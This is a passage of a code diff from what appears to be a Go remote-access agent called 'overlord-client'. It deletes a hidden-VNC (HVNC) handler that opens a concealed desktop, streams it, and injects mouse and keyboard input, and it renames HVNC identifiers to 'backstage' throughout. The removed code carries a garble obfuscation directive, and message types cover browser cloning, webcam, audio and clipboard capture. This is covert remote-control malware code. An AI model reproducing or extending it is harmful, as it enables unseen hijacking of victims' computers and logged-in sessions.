case "desktop_mouse_move", "desktop_mouse_down", "desktop_mouse_up", "desktop_mouse_wheel",
|
||||
"desktop_key_down", "desktop_key_up", "desktop_text",
|
||||
"hvnc_mouse_move", "hvnc_mouse_down", "hvnc_mouse_up",
|
||||
"hvnc_mouse_wheel", "hvnc_key_down", "hvnc_key_up":
|
||||
"backstage_mouse_move", "backstage_mouse_down", "backstage_mouse_up",
|
||||
"backstage_mouse_wheel", "backstage_key_down", "backstage_key_up":
|
||||
return true
|
||||
}
|
||||
return false
|
||||
|
||||
@@ -1,129 +0,0 @@
|
||||
package handlers
|
||||
|
||||
import (
|
||||
"context"
|
||||
"log"
|
||||
"overlord-client/cmd/agent/capture"
|
||||
rt "overlord-client/cmd/agent/runtime"
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
"time"
|
||||
)
|
||||
|
||||
var (
|
||||
hvncPersistedDisplayValue int
|
||||
hvncPersistedDisplayMu sync.Mutex
|
||||
hvncTargetFPS atomic.Int64
|
||||
)
|
||||
|
||||
func persistHVNCDisplaySelection(display int) {
|
||||
hvncPersistedDisplayMu.Lock()
|
||||
hvncPersistedDisplayValue = display
|
||||
hvncPersistedDisplayMu.Unlock()
|
||||
}
|
||||
|
||||
func GetPersistedHVNCDisplay() int {
|
||||
hvncPersistedDisplayMu.Lock()
|
||||
defer hvncPersistedDisplayMu.Unlock()
|
||||
return hvncPersistedDisplayValue
|
||||
}
|
||||
|
||||
func HVNCStart(ctx context.Context, env *rt.Env, autoStartExplorer bool) error {
|
||||
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
|
||||
fps := activeHVNCTargetFPS()
|
||||
interval := time.Second / time.Duration(fps)
|
||||
capture.SetH264TargetFPS(fps)
|
||||
capture.SetFrameFlowTargetFPS(fps)
|
||||
log.Printf("hvnc: starting stream (target fps %d)", fps)
|
||||
|
||||
if err := capture.InitializeHVNCDesktop(); err != nil {
|
||||
log.Printf("hvnc: failed to initialize hidden desktop: %v", err)
|
||||
return err
|
||||
}
|
||||
|
||||
if autoStartExplorer {
|
||||
goSafe("hvnc auto-start explorer", nil, func() {
|
||||
if err := capture.HVNCAutoStartExplorer(); err != nil {
|
||||
log.Printf("hvnc: auto-start explorer error: %v", err)
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
ticker := time.NewTicker(interval)
|
||||
defer ticker.Stop()
|
||||
currentFPS := fps
|
||||
for {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
log.Printf("hvnc: stopping stream")
|
||||
capture.CleanupHVNCDesktop()
|
||||
return nil
|
||||
case <-ticker.C:
|
||||
fps := activeHVNCTargetFPS()
|
||||
if fps != currentFPS {
|
||||
currentFPS = fps
|
||||
capture.SetH264TargetFPS(fps)
|
||||
capture.SetFrameFlowTargetFPS(fps)
|
||||
ticker.Reset(time.Second / time.Duration(fps))
|
||||
log.Printf("hvnc: target fps changed to %d", fps)
|
||||
}
|
||||
if err := capture.NowHVNC(ctx, env); err != nil {
|
||||
if ctx.Err() != nil {
|
||||
log.Printf("hvnc: stopping stream")
|
||||
capture.CleanupHVNCDesktop()
|
||||
return nil
|
||||
}
|
||||
log.Printf("hvnc: capture error: %v", err)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func activeHVNCTargetFPS() int {
|
||||
if fps := int(hvncTargetFPS.Load()); fps > 0 {
|
||||
return fps
|
||||
}
|
||||
_, fps := streamInterval("OVERLORD_HVNC_MAX_FPS", 120)
|
||||
return SetHVNCTargetFPS(fps)
|
||||
}
|
||||
|
||||
func SetHVNCTargetFPS(fps int) int {
|
||||
fps = clampDesktopTargetFPS(fps)
|
||||
hvncTargetFPS.Store(int64(fps))
|
||||
capture.SetH264TargetFPS(fps)
|
||||
capture.SetFrameFlowTargetFPS(fps)
|
||||
return fps
|
||||
}
|
||||
|
||||
func HVNCSelect(ctx context.Context, env *rt.Env, display int) error {
|
||||
prev := env.HVNCSelectedDisplay
|
||||
maxDisplays := capture.HVNCMonitorCount()
|
||||
if display < 0 || display >= maxDisplays {
|
||||
log.Printf("hvnc: WARNING - requested display %d out of range (0-%d), clamping to 0", display, maxDisplays-1)
|
||||
display = 0
|
||||
}
|
||||
env.HVNCSelectedDisplay = display
|
||||
|
||||
persistHVNCDisplaySelection(display)
|
||||
log.Printf("hvnc: set selected display from %d to %d (reported monitors=%d, will capture monitor at index %d)", prev, display, maxDisplays, display)
|
||||
return nil
|
||||
}
|
||||
|
||||
func HVNCMouseControl(ctx context.Context, env *rt.Env, enabled bool) error {
|
||||
env.HVNCMouseControl = enabled
|
||||
log.Printf("hvnc: mouse control %v", enabled)
|
||||
return nil
|
||||
}
|
||||
|
||||
func HVNCKeyboardControl(ctx context.Context, env *rt.Env, enabled bool) error {
|
||||
env.HVNCKeyboardControl = enabled
|
||||
log.Printf("hvnc: keyboard control %v", enabled)
|
||||
return nil
|
||||
}
|
||||
|
||||
func HVNCCursorControl(ctx context.Context, env *rt.Env, enabled bool) error {
|
||||
env.HVNCCursorCapture = enabled
|
||||
capture.SetHVNCCursorCapture(enabled)
|
||||
log.Printf("hvnc: cursor capture %v", enabled)
|
||||
return nil
|
||||
}
|
||||
@@ -1,10 +0,0 @@
|
||||
//go:build !windows
|
||||
|
||||
package handlers
|
||||
|
||||
func setCursorPosHVNC(x, y int32) {}
|
||||
func sendMouseDownHVNC(button int) {}
|
||||
func sendMouseUpHVNC(button int) {}
|
||||
func sendKeyDownHVNC(vk uint16) {}
|
||||
func sendKeyUpHVNC(vk uint16) {}
|
||||
func keyCodeToVKHVNC(code string) uint16 { return 0 }
|
||||
@@ -417,7 +417,7 @@ type appWithIcon struct {
|
||||
|
||||
func getInstalledAppsWithIcons() []appWithIcon {
|
||||
apps := enumerateInstalledApps()
|
||||
log.Printf("hvnc: enumerated %d installed apps, extracting icons", len(apps))
|
||||
log.Printf("backstage: enumerated %d installed apps, extracting icons", len(apps))
|
||||
|
||||
out := make([]appWithIcon, len(apps))
|
||||
for i, app := range apps {
|
||||
|
||||
@@ -25,8 +25,8 @@ func pcm16BytesToInt16(chunk []byte) []int16 {
|
||||
|
||||
func kindFromPayload(payload map[string]interface{}) webrtcpub.Kind {
|
||||
switch s, _ := payload["kind"].(string); s {
|
||||
case "hvnc":
|
||||
return webrtcpub.KindHVNC
|
||||
case "backstage":
|
||||
return webrtcpub.Kindbackstage
|
||||
case "webcam":
|
||||
return webrtcpub.KindWebcam
|
||||
case "audio":
|
||||
@@ -81,8 +81,8 @@ func handleWebrtcPublish(ctx context.Context, env *runtime.Env, cmdID string, pa
|
||||
// Force a fresh SPS/PPS/IDR so the freshly subscribed viewer can
|
||||
// decode immediately instead of waiting for the next natural IDR.
|
||||
if hasVideo {
|
||||
if kind == webrtcpub.KindHVNC {
|
||||
capture.ResetPrevHVNC()
|
||||
if kind == webrtcpub.Kindbackstage {
|
||||
capture.ResetPrevbackstage()
|
||||
} else {
|
||||
capture.ResetPrev()
|
||||
}
|
||||
@@ -142,8 +142,8 @@ func handleWebrtcP2POffer(ctx context.Context, env *runtime.Env, cmdID string, p
|
||||
return nil
|
||||
}
|
||||
if hasVideo {
|
||||
if kind == webrtcpub.KindHVNC {
|
||||
capture.ResetPrevHVNC()
|
||||
if kind == webrtcpub.Kindbackstage {
|
||||
capture.ResetPrevbackstage()
|
||||
} else {
|
||||
capture.ResetPrev()
|
||||
}
|
||||
|
||||
@@ -27,14 +27,14 @@ type Env struct {
|
||||
DesktopCancel context.CancelFunc
|
||||
DesktopDone chan struct{}
|
||||
DesktopMu sync.Mutex
|
||||
// HVNC fields
|
||||
HVNCSelectedDisplay int
|
||||
HVNCMouseControl bool
|
||||
HVNCKeyboardControl bool
|
||||
HVNCCursorCapture bool
|
||||
HVNCCancel context.CancelFunc
|
||||
HVNCDone chan struct{}
|
||||
HVNCMu sync.Mutex
|
||||
// backstage fields
|
||||
BackstageSelectedDisplay int
|
||||
BackstageMouseControl bool
|
||||
BackstageKeyboardControl bool
|
||||
BackstageCursorCapture bool
|
||||
BackstageCancel context.CancelFunc
|
||||
BackstageDone chan struct{}
|
||||
BackstageMu sync.Mutex
|
||||
// Virtual mode fields
|
||||
VirtualMouseControl bool
|
||||
VirtualKeyboardControl bool
|
||||
|
||||
@@ -10,7 +10,7 @@ type Kind string
|
||||
|
||||
const (
|
||||
KindDesktop Kind = "desktop"
|
||||
KindHVNC Kind = "hvnc"
|
||||
Kindbackstage Kind = "backstage"
|
||||
KindWebcam Kind = "webcam"
|
||||
KindAudio Kind = "audio"
|
||||
)
|
||||
|
||||
@@ -110,7 +110,7 @@ type FrameHeader struct {
|
||||
Monitor int `msgpack:"monitor"`
|
||||
FPS int `msgpack:"fps"`
|
||||
Format string `msgpack:"format"`
|
||||
HVNC bool `msgpack:"hvnc,omitempty"`
|
||||
Backstage bool `msgpack:"backstage,omitempty"`
|
||||
Webcam bool `msgpack:"webcam,omitempty"`
|
||||
}
|
||||
|
||||
@@ -346,7 +346,7 @@ type WebcamDevices struct {
|
||||
Selected int `msgpack:"selected"`
|
||||
}
|
||||
|
||||
type HVNCCloneProgress struct {
|
||||
type BackstageCloneProgress struct {
|
||||
Type string `msgpack:"type"`
|
||||
Browser string `msgpack:"browser"`
|
||||
Percent int `msgpack:"percent"`
|
||||
@@ -355,38 +355,38 @@ type HVNCCloneProgress struct {
|
||||
Status string `msgpack:"status"`
|
||||
}
|
||||
|
||||
type HVNCDXGIStatus struct {
|
||||
type BackstageDXGIStatus struct {
|
||||
Type string `msgpack:"type"`
|
||||
Success bool `msgpack:"success"`
|
||||
GPUPid uint32 `msgpack:"gpuPid"`
|
||||
Message string `msgpack:"message"`
|
||||
}
|
||||
|
||||
type HVNCLookupResult struct {
|
||||
type BackstageLookupResult struct {
|
||||
Type string `msgpack:"type"`
|
||||
Exe string `msgpack:"exe"`
|
||||
Path string `msgpack:"path"`
|
||||
Done bool `msgpack:"done"`
|
||||
}
|
||||
|
||||
type HVNCBrowserCheckResult struct {
|
||||
type BackstageBrowserCheckResult struct {
|
||||
Type string `msgpack:"type"`
|
||||
Browsers map[string]bool `msgpack:"browsers"`
|
||||
}
|
||||
|
||||
type HVNCInstalledApp struct {
|
||||
type BackstageInstalledApp struct {
|
||||
Name string `msgpack:"name"`
|
||||
ExePath string `msgpack:"exePath"`
|
||||
Icon string `msgpack:"icon"`
|
||||
}
|
||||
|
||||
type HVNCInstalledAppsResult struct {
|
||||
type BackstageInstalledAppsResult struct {
|
||||
Type string `msgpack:"type"`
|
||||
Apps []HVNCInstalledApp `msgpack:"apps"`
|
||||
Apps []BackstageInstalledApp `msgpack:"apps"`
|
||||
Done bool `msgpack:"done"`
|
||||
}
|
||||
|
||||
type HVNCBrowserLaunchStatus struct {
|
||||
type BackstageBrowserLaunchStatus struct {
|
||||
Type string `msgpack:"type"`
|
||||
Browser string `msgpack:"browser"`
|
||||
Step string `msgpack:"step"`
|
||||
@@ -394,7 +394,7 @@ type HVNCBrowserLaunchStatus struct {
|
||||
Detail string `msgpack:"detail"`
|
||||
}
|
||||
|
||||
type HVNCWindowEntry struct {
|
||||
type BackstageWindowEntry struct {
|
||||
Title string `msgpack:"title"`
|
||||
X int `msgpack:"x"`
|
||||
Y int `msgpack:"y"`
|
||||
@@ -405,7 +405,7 @@ type HVNCWindowEntry struct {
|
||||
Monitor int `msgpack:"monitor"`
|
||||
}
|
||||
|
||||
type HVNCMonitorEntry struct {
|
||||
type BackstageMonitorEntry struct {
|
||||
Index int `msgpack:"index"`
|
||||
Name string `msgpack:"name"`
|
||||
X int `msgpack:"x"`
|
||||
@@ -415,10 +415,10 @@ type HVNCMonitorEntry struct {
|
||||
Primary bool `msgpack:"primary"`
|
||||
}
|
||||
|
||||
type HVNCWindowListResult struct {
|
||||
type BackstageWindowListResult struct {
|
||||
Type string `msgpack:"type"`
|
||||
Windows []HVNCWindowEntry `msgpack:"windows"`
|
||||
Monitors []HVNCMonitorEntry `msgpack:"monitors"`
|
||||
Windows []BackstageWindowEntry `msgpack:"windows"`
|
||||
Monitors []BackstageMonitorEntry `msgpack:"monitors"`
|
||||
}
|
||||
|
||||
type ClipboardContent struct {
|
||||
|
||||
Reference in New Issue
Block a user